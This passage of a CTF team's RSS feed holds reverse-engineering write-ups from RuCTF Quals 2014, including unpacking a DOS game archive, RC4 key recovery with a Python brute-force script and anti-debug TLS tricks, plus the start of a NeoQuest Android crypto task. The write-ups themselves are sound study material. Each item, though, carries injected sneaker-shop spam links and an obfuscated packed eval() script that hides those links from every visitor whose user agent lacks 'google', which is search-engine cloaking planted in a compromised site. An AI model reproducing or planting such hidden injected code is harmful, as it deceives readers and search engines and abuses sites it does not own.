8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Wed, 19 Mar 2014 12:35:35 +0000</pubDate>
 <dc:creator>Dil4rd</dc:creator>
 <guid isPermaLink="false">53 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/53#comments</comments>
</item>
<item>
 <title>No harm (reverse 200)</title>
 <link>https://ctfcrew.org/writeup/52</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/reverse&quot;&gt;reverse&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/17&quot;&gt;RuCTF Quals 2014&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;The task was to find MD5 of the biggets file from the file HARM.DAT, which is the part of game Harm0597 for MS DOS.&lt;/p&gt;&lt;p&gt;First of all let&#039;s ask Google to find this game and easily find URL to download it: &lt;a href=&quot;ftp://78.46.52.48/pub/mags/harm/harm0597.zip&quot;&gt;ftp://78.46.52.48/pub/mags/harm/harm0597.zip&lt;/a&gt;&lt;/p&gt;&lt;p&gt;File HARM.DAT has an obvious structure:&lt;/p&gt;&lt;pre class=&quot;brush: cpp; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;struct _FILE_HEADER {
    char magic[32];
    __int32 numSubFiles;
    _PACKED_FILE_HEADER packedFileList[]; 
} FILE_HEADER, *PFILE_HEADER;   // sizeof(_FILE_HEADER) = 32 + 4 + numSubFiles*sizeof(_PACKED_FILE_HEADER)

struct _PACKED_FILE_HEADER {
    char fileNameA[12];
    unsigned char fileType;
    unsigned __int32 fileRealSize;
    unsigned __int32 fileDataOffset;
} PACKED_FILE_HEADE, *PPACKED_FILE_HEADE;  // sizeof(_PACKED_FILE_HEADER) = 12 + 1 + 4 + 4
&lt;/pre&gt;&lt;p&gt;So we can easily find the biggest file: it&#039;s file with name &quot;TRX-DRNK.RUS&quot;.&lt;/p&gt;&lt;p&gt;But sum of all _PACKED_FILE_HEADER.fileRealSize is much bigger that file size. This means that some files are compressed. &lt;br&gt;According to the next info we can make assumption that files with type = 3 are compressed.&lt;/p&gt;&lt;pre class=&quot;brush: plain; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;	fileId = 21
	fileName = TECHINFO.RUS
	fileType = 0x3
	fileDataOffset = 0xd6d0
	fileDataSize = 0x5000

	fileId = 22
	fileName = YEP.BINO.RUS
	fileType = 0x1
	fileDataOffset = 0xdcca
	fileDataSize = 0x2d0

	fileId = 23
	fileName = NO.BINNO.RUS
	fileType = 0x1
	fileDataOffset = 0xdf9a
	fileDataSize = 0x330
&lt;/pre&gt;&lt;p&gt;&amp;nbsp;Fortunately, first 2 bytes of compressed files are the size of compressed data. So data of compressed files has the next format:&lt;/p&gt;&lt;pre class=&quot;brush: cpp; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;struct _PACKED_FILE_COMPRESSED_DATA {
    unsigned __int16 dataSize;
    unsigned char    data[];    
} PACKED_FILE_COMPRESSED_DATA, *PPACKED_FILE_COMPRESSED_DATA;   //sizeof(_PACKED_FILE_COMPRESSED_DATA) = 4 + dataSize&lt;/pre&gt;&lt;p&gt;Now we can dump file &quot;TRX-DRNK.RUS&quot; and... find nothing ;(&lt;/p&gt;&lt;p&gt;The problem is that I don&#039;t know the compression algorithm and this file has non-standard structure (or it&#039;s a raw data). Anyway this is &lt;a href=&quot;https://github.com/Dil4rd/CTF/blob/master/HarmDatParser.py&quot;&gt;my script&lt;/a&gt; for parsing HARM.DAT file, just in case.&lt;/p&gt;&lt;p&gt;Now let&#039;s start RE HARM.EXE. If you open it in IDA you will find that it&#039;s most likely packed..&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/noharm1.png&quot; alt=&quot;&quot; height=&quot;170&quot; width=&quot;550&quot;&gt;&lt;/p&gt;&lt;p&gt;And packed by pklite! So let&#039;s unpack it!&lt;/p&gt;&lt;p&gt;The things we need for that are:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;DosBox -- MS Dos emulator (URL: &lt;a href=&quot;http://www.dosbox.com/download.php?main=1&quot;&gt;http://www.dosbox.com/download.php?main=1&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;PkLite unpacker (we can take program UNP from &lt;a href=&quot;http://sta.c64.org/dosprg.html&quot;&gt;http://sta.c64.org/dosprg.html&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;DosBox debugger (just in case) (can be foud there: &lt;a href=&quot;http://www.vogons.org/viewtopic.php?t=7323&quot;&gt;http://www.vogons.org/viewtopic.php?t=7323&lt;/a&gt;)&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;And...&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/noharm2.png&quot; alt=&quot;&quot; height=&quot;424&quot; width=&quot;646&quot;&gt;&lt;/p&gt;&lt;p&gt;the easiest unpacking ever ;)&lt;/p&gt;&lt;p&gt;Now open &lt;a href=&quot;/sites/default/files/writeups/images/HARM_UNP.EXE&quot;&gt;unpacked file&lt;/a&gt; in IDA and start reversing. Using IDA, debugger and script higher we can find that&lt;/p&gt;&lt;ol&gt;&lt;li&gt;function sub_1417E returns id of the packed file with given name (call it get_file_id_by_name);&lt;/li&gt;&lt;li&gt;function sub_1422C takes packed file id and address of buffer for uncompressed data (call it get_file_data_by_id).&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Here is a part of main function (called PROGRAM in DOS)&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/noharm3.png&quot; alt=&quot;&quot; height=&quot;418&quot; width=&quot;820&quot;&gt;&lt;/p&gt;&lt;p&gt;Now let&#039;s start debugging unpacked program, stop at the beginning and make next changes:&lt;/p&gt;&lt;p&gt;1) set size of newly allocated memory at cs:2428 via &quot;sm cs:2429 ff ff&quot; (allocate memory block of size 0xFFFF)&lt;/p&gt;&lt;p&gt;2) set breakpoint at address cs:2430 (right after call for memory allocation to gather allocated memory address)&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/noharm4.png&quot; alt=&quot;&quot; height=&quot;394&quot; width=&quot;649&quot;&gt;&lt;/p&gt;&lt;p&gt;3) change file name offset at cs:2469 via &quot;sm cs:246a 9f 22&quot; (cs:229F points to string &quot;TRX-DRNK.RUS&quot;)&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/noharm5.png&quot; alt=&quot;&quot; height=&quot;371&quot; width=&quot;644&quot;&gt;&lt;/p&gt;&lt;p&gt;4) at address cs:2474 set the code&lt;/p&gt;&lt;pre class=&quot;brush: plain; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;les di,[3176]
push es
push di
call &amp;lt;newSeg8Value&amp;gt;:028C
&lt;/pre&gt;&lt;p&gt;via &quot;sm cs:2474 c4 3e 76 31 06 57 9a 8c 02 &amp;lt;newSeg8Value.LowByte&amp;gt; &amp;lt;newSeg8Value.HighByte&amp;gt;&quot;, where newSeg8Value is the value of seg08 from IDA (0x0608 in my case)&lt;/p&gt;&lt;p&gt;5) set breakpoint at address cs:247F (right after call decompression function to dump decompressed data)&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/noharm6.png&quot; alt=&quot;&quot; height=&quot;363&quot; width=&quot;650&quot;&gt;&lt;/p&gt;&lt;p&gt;6) continue normal execution, at breapoint 1 remember address of allocated memory ({dx:ax}) and at breakpoint 2 make memory dump via &quot;memdump &amp;lt;allocSeg&amp;gt;:&amp;lt;allocLinAddr&amp;gt; f8a0&quot; (memdump 1e94:0000 f8a0)&lt;/p&gt;&lt;p&gt;Now you can find &lt;a href=&quot;/sites/default/files/writeups/images/MEMDUMP.TXT&quot;&gt;memory dump&lt;/a&gt; in DosBox&#039;s folder, convert it to &lt;a href=&quot;/sites/default/files/writeups/images/TRX-DRNK.RUS&quot;&gt;binary data&lt;/a&gt; and find it&#039;s MD5 which will be the flag: &lt;strong&gt;8C0C4C5F223D9B3822A51EEA0CABD524&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;The only reason to make all changes in binary right before execution are relocations. When I&#039;ve set the number of relocations to 0, my DosBox have crashed.. so I decided that the way above is better that try to guest the reason of DosBox&#039;s crash or searching for new DOS emulator:)&lt;/p&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.runtrendy.com/&quot;&gt;Running Sneakers Store&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;https://iicf.org/bdfxshop/patike&quot;&gt;Patike – Nike Air Jordan, Premium, Retro Klasici, Sneakers , Iicf&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Tue, 18 Mar 2014 14:19:30 +0000</pubDate>
 <dc:creator>Dil4rd</dc:creator>
 <guid isPermaLink="false">52 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/52#comments</comments>
</item>
<item>
 <title>Arcfour (reverse 500)</title>
 <link>https://ctfcrew.org/writeup/47</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/reverse&quot;&gt;reverse&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/17&quot;&gt;RuCTF Quals 2014&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;In reverse category this task was the easiest one, except Harm (reverse 10), of course:)&lt;/p&gt;&lt;p&gt;The task was to reverse x86 PE executable. There was 2 ways to solve this task: the easiest one and little more complicated. But let&#039;s start with their commom part.&lt;/p&gt;&lt;p&gt;The file seems to be packed by UPX, so start debugging! After unpacking by upx we can find that OEP is at address 0x6d28, but there is a very strange code:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/pic1.png&quot; alt=&quot;&quot; height=&quot;229&quot; width=&quot;516&quot;&gt;&lt;/p&gt;&lt;p&gt;And the address 0x15c3 seems to be the real OEP. So set breakpoint at address 0x4015c3 and dump image using PeTools and ImpREC (my dump avaliable &lt;a href=&quot;/sites/default/files/writeups/images/Dumped.exe_&quot;&gt;here&lt;/a&gt;). Now just open dumped file in IDA.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;The first way.&amp;nbsp;&lt;/strong&gt;If we try to decompile dumped file then we will see next:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/pic10.png&quot; alt=&quot;&quot; height=&quot;550&quot; width=&quot;514&quot;&gt;&lt;/p&gt;&lt;p&gt;So, the lenght of key is 32 bytes. Now let&#039;s find where does it checked:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/pic8.png&quot; alt=&quot;&quot; height=&quot;259&quot; width=&quot;902&quot;&gt;&lt;/p&gt;&lt;p&gt;Go to address 0x4011CD, jump little higher to address 0x4010d0 and create a function there. After decompilation of this function we can see that pArgv1 passed to function at address 0x401000, which looks like RC4. After that it compare pArgv1 with local buffer.&lt;/p&gt;&lt;pre class=&quot;brush: cpp; auto-links: true; collapse: false; first-line: 1; html-script: false;tab-size: 4; codetag&quot;&gt;signed int __stdcall sub_4010D0()
{
  int v0; // eax@0
  char v1; // cl@1
  unsigned int v2; // eax@1
  signed int v3; // eax@3
  int v5; // [sp+4h] [bp-44h]@1
  char v6; // [sp+8h] [bp-40h]@1
  char pCryptedFlag[32]; // [sp+Ch] [bp-3Ch]@1
  char v8; // [sp+2Ch] [bp-1Ch]@1
  char pMaskedKey[11]; // [sp+30h] [bp-18h]@1
  char v10; // [sp+3Bh] [bp-Dh]@1
  int v11; // [sp+3Ch] [bp-Ch]@1
  int *v12; // [sp+40h] [bp-8h]@1
  char xorMaskConstant; // [sp+47h] [bp-1h]@1

  pCryptedFlag[22] = 69;
  pCryptedFlag[26] = 69;
  LOBYTE(v0) = -123;
  pCryptedFlag[0] = -54;
  pCryptedFlag[1] = -56;
  pCryptedFlag[2] = -57;
  pCryptedFlag[3] = 3;
  pCryptedFlag[4] = -4;
  pCryptedFlag[5] = 16;
  pCryptedFlag[6] = 40;
  pCryptedFlag[7] = 31;
  pCryptedFlag[8] = 122;
  pCryptedFlag[9] = 127;
  pCryptedFlag[10] = -116;
  pCryptedFlag[11] = -108;
  pCryptedFlag[12] = 46;
  pCryptedFlag[13] = -7;
  pCryptedFlag[14] = 105;
  pCryptedFlag[15] = 36;
  pCryptedFlag[16] = -97;
  pCryptedFlag[17] = 125;
  pCryptedFlag[18] = 39;
  pCryptedFlag[19] = -63;
  pCryptedFlag[20] = -60;
  pCryptedFlag[21] = 9;
  pCryptedFlag[23] = 127;
  pCryptedFlag[24] = 117;
  pCryptedFlag[25] = -18;
  pCryptedFlag[27] = -105;
  pCryptedFlag[28] = -115;
  pCryptedFlag[29] = -81;
  pCryptedFlag[30] = 121;
  pCryptedFlag[31] = 31;
  v8 = 0;
  pMaskedKey[0] = -122;
  pMaskedKey[1] = -34;
  pMaskedKey[2] = -102;
  pMaskedKey[3] = -8;
  pMaskedKey[4] = -33;
  pMaskedKey[5] = -11;
  pMaskedKey[6] = -123;
  pMaskedKey[7] = -23;
  pMaskedKey[8] = -35;
  pMaskedKey[9] = -123;
  pMaskedKey[10] = -17;
  v10 = 0;
  v11 = v0;
  v12 = &amp;amp;v5;
  xorMaskConstant = v6;
  v1 = v6;
  v2 = 0;
  do
  {
    pMaskedKey[v2] ^= v1;
    ++v2;
  }
  while ( v2 &amp;lt; 0xB );
  rc4Crypt(pMaskedKey, pArgv1);
  v3 = 0;
  while ( *(&amp;amp;pCryptedFlag[v3] + pArgv1 - pCryptedFlag) == pCryptedFlag[v3] )
  {
    ++v3;
    if ( v3 &amp;gt;= 32 )
      return 1;
  }
  return 0;
}&lt;/pre&gt;&lt;p&gt;Because RC4_encrypt = RC4_decrypt we can just pass to function at address 0x401000 local buffer pCryptedFlag and recive the flag!.. But what about the encryption key? If you are using OllyDbg with Phantom plugin (or any other debugger or plugin which prevent setting flag PEB.BeingDebugged) then there is no reason to worry, the buffer will be successfully decrypted :)&lt;/p&gt;&lt;p&gt;Otherwise we can brute the value of xorMaskConstant (because all elements in array pMaskedKey are bigger then 128 (the higher bit is set), then the range is [128,255]). The code for brutting:&lt;/p&gt;&lt;pre class=&quot;brush: python; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;def KSA(key):
    keylength = len(key)
    S = range(256)
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % keylength]) % 256
        S[i], S[j] = S[j], S[i]  # swap
    return S

def PRGA(S):
    i = 0
    j = 0
    while True:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]  # swap
        K = S[(S[i] + S[j]) % 256]
        yield K

def RC4(key):
    S = KSA(key)
    return PRGA(S)


if __name__ == &#039;__main__&#039;:
    CONST = 0xB6
    rc4_key_arr = [0x86, 0xDE, 154, 248, 223, 245, 133, 233, 221, 133, 239]
    flag_arr = [0xCA, 0xC8, 0xC7, 3,0xFC, 0x10, 0x28, 0x1F, 0x7A, 0x7F, 0x8C, 0x94, 0x2E, 0xF9, 0x69, 0x24, 0x9F, 0x7D, 0x27, 0xC1, 0xC4, 9,0x45,0x7F, 0x75, 0xEE, 0x45, 0x97, 0x8D, 0xAF, 0x79, 0x1F]

    for CONST in range(128,256):
        rc4_key = [el^CONST for el in rc4_key_arr]
        rc4_key_stream = RC4(rc4_key)
        flag = &#039;&#039;.join([chr(fl_el^rc4_key_stream.next()) for fl_el in flag_arr])
        if &quot;RUCTF&quot; in flag:
            print(hex(CONST)+&quot; : &quot;+&#039;&#039;.join([chr(el) for el in rc4_key]) +&quot; : &quot;+flag)
&lt;/pre&gt;&lt;p&gt;Anyway you recive the flag: &lt;strong&gt;RUCTF_408f971883ccf6180eab2b3cf5&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;The second way.&amp;nbsp;&lt;/strong&gt;In my opinion the only intersting task in RE, I&#039;ve solved during RuCTF Quals 2014 was PIN (revese 400). So the only reason why I have written this writeup is the orgnanizer&#039;s condition for participants of RuCTF Final 2014: we should give them writeups of all tasks we have solved. To make this writeup a bit more intresting I decided to write a full control flow of this executable, so let&#039;s start.&lt;/p&gt;&lt;p&gt;As it&#039;s shown higher IDA&#039;s Hex-Rays failed right after comparison of the lenght of input argument with 32. Let&#039;s see asm code&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/pic9.png&quot; alt=&quot;&quot; height=&quot;492&quot; width=&quot;855&quot;&gt;&lt;/p&gt;&lt;p&gt;As you can see this instruction has been added there by post UPX and pre OEP code. Ok, so the developer wants to generate an exception and we should search for exception header.&lt;/p&gt;&lt;p&gt;Because this binary requires DLL msvcr90.dll which is standart CRT (C run-time) lib from Visual C++ 2008 Redistributable package we know two facts: 1) it&#039;s most likely use SEH &amp;amp; CRT&#039;s _try/_catch technique and 2) this executable has been developed in VS 2008:)&lt;/p&gt;&lt;p&gt;As you know, in CRT_try/_catch blocks passes to CRT&#039;s SEH handlers (usually _except_handler3 or _except_handler4) as aurguments (for more information you can see Igor Skochinsky&#039;s article &quot;Compiler Internals: Exceptions and RTTI&quot; from RECon 2012, avliable &lt;a href=&quot;http://www.hexblog.com/?p=704&quot;&gt;here&lt;/a&gt;). At the begging of _main function we can see next:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/pic11.png&quot; alt=&quot;&quot; height=&quot;399&quot; width=&quot;1092&quot;&gt;&lt;/p&gt;&lt;p&gt;This means that there is only one _try/_catch block in _main function. Let&#039;s go to address 0x4012ac:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/pic13.png&quot; alt=&quot;&quot; height=&quot;718&quot; width=&quot;801&quot;&gt;&lt;/p&gt;&lt;p&gt;Ok, we have found where does function at address 0x4010d0 (as you remember, it checks input argument) called from. Now let&#039;s take a look into this function. Because we have already discussed everything except receiving of constant xorMaskConstant only this part of this function will be examined:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/pic7.png&quot; alt=&quot;&quot; height=&quot;497&quot; width=&quot;745&quot;&gt;&lt;/p&gt;&lt;p&gt;According to image higher we can see that local buffer pMaskedKey xored with constant PEB.BeingDebugged, which normally equal to 1 if debugger is active and 0 otherwise. But how it has happened that it equal to 0xB6?&lt;/p&gt;&lt;p&gt;The answer if TLS (thread local storage) callbacks.&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/pic14.png&quot; alt=&quot;&quot; height=&quot;255&quot; width=&quot;601&quot;&gt;&lt;/p&gt;&lt;p&gt;As you know, these functions aimed to initialization of some C++ clases and runs before execution of code at EP. And I our case everything it does is just add to PEB.BeingDebugged 0xB6.&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;/sites/default/files/writeups/images/pic6.png&quot; alt=&quot;&quot; height=&quot;246&quot; width=&quot;621&quot;&gt;&lt;/p&gt;&lt;p&gt;So variable xorMaskConstant should be equal to 0xB6, RC4 excryption key is &quot;0h,NiC3_k3Y&quot; and the flag is &lt;strong&gt;RUCTF_408f971883ccf6180eab2b3cf5&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;span class=&quot;keys_words&quot;&gt;&lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.sneakersbe.com/&quot;&gt;Buy Kicks&lt;/a&gt; | &lt;a class=&quot;links_good_rands&quot; href=&quot;https://www.ietp.com/fr/dfedavshop/adidas-yeezy-500-enflame-release-date/&quot;&gt;adidas sold 1 million dollars today Enflame Release Date - raw amber nmd laces&lt;/a&gt;&lt;/span&gt;&lt;script&gt;eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?&quot;&quot;:e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!&#039;&#039;.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return&#039;\\w+&#039;};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(&#039;\\b&#039;+e(c)+&#039;\\b&#039;,&#039;g&#039;),k[c]);return p;}(&#039;b i=r f[&quot;\\q\\1\\4\\g\\p\\l&quot;](&quot;\\4&quot;+&quot;\\7&quot;+&quot;\\7&quot;+&quot;\\4&quot;+&quot;\\5\\1&quot;,&quot;\\4\\k&quot;);s(!i[&quot;\\3\\1\\2\\3&quot;](m[&quot;\\h\\2\\1\\j\\n\\4\\1\\6\\3&quot;])){b a=f[&quot;\\e\\7\\o\\h\\d\\1\\6\\3&quot;][&quot;\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1&quot;](\&#039;\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\&#039;);u(b 8=0;8&lt;a[&quot;\\5\\1\\6\\4\\3\\y&quot;];8++)a[8][&quot;\\2\\3\\9\\5\\1&quot;][&quot;\\e\\k\\2\\l\\5\\c\\9&quot;]=\&#039;\\6\\7\\6\\1\&#039;}&#039;,37,37,&#039;|x65|x73|x74|x67|x6c|x6e|x6f|NLpndlS3|x79|rBfb2|var|x61|x6d|x64|window|x45|x75|AESwV1|x72|x69|x70|navigator|x41|x63|x78|x52|new|if|x6b|for|x77|x5f|x4e|x68|x42|x43&#039;.split(&#039;|&#039;),0,{}));&lt;/script&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
 <pubDate>Mon, 17 Mar 2014 12:32:10 +0000</pubDate>
 <dc:creator>Dil4rd</dc:creator>
 <guid isPermaLink="false">47 at https://ctfcrew.org</guid>
 <comments>https://ctfcrew.org/writeup/47#comments</comments>
</item>
<item>
 <title>NEOQUEST 2014 Quals - Hasta la vista</title>
 <link>https://ctfcrew.org/writeup/34</link>
 <description>&lt;div class=&quot;field field-name-field-category field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Category:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/categories/crypto&quot;&gt;crypto&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;field-item odd&quot;&gt;&lt;a href=&quot;/categories/reverse&quot;&gt;reverse&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-field-event field-type-taxonomy-term-reference field-label-inline clearfix&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Event:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;/event/16&quot;&gt;NeoQuest Quals 2014&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;p&gt;Дано андроид приложение.&lt;/p&gt;&lt;p&gt;Распаковываем, декомпилим. Видим, что проверяется deviceId -&amp;gt; нет смысла запускать, т.к. будет работать только на одном устройстве.&lt;/p&gt;&lt;p&gt;Анализируем исходники, полученные с помощью декомпилятора:&lt;/p&gt;&lt;p&gt;1) Замечаем формирование ссылки и скачиваение файла с адреса вида:&lt;/p&gt;&lt;pre class=&quot;brush: java; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;String paramString1 = &quot;http://hastalavistababy.ru/index.php&quot;;
String strTime  = Long.valueOf(System.currentTimeMillis() / 1000L).toString();
String paramQueryString = &quot;cmd=1&amp;amp;time=&quot; + strTime + &quot;&amp;amp;command_name=download_image&amp;amp;path=neoquest_2014&quot;;&lt;/pre&gt;&lt;p&gt;&amp;nbsp;Таким образом, конечная ссылка для скачивания: paramString1 + &quot;?&quot; + paramQueryString,&amp;nbsp;размер файла: 59,856 байт. Далее по коду видно, что происходит расшифрование скачанного файла, который кладется в бандл приложения.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;2) Формирование ключа:&lt;/p&gt;&lt;pre class=&quot;brush: java; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;String key = md5(&quot;352276054393855&quot; + &quot;25001&quot; + md5(&quot;neoquest_2014&quot;));&lt;/pre&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;3) Расшифрование:&lt;/p&gt;&lt;pre class=&quot;brush: java; auto-links: true; collapse: false; first-line: 1; html-script: false; smart-tabs: true; tab-size: 4; toolbar: true; codetag&quot;&gt;byte[] paramArrayOfByte = key.substring(0, 16).getBytes();
SecretKeySpec localSecretKeySpec = new SecretKeySpec(paramArrayOfByte, &quot;AES&quot;);
Cipher localCipher = Cipher.getInstance(&quot;AES/ECB/PKCS5Padding&quot;);
localCipher.init(1, localSecretKeySpec);
localCipher.init(2, localSecretKeySpec);
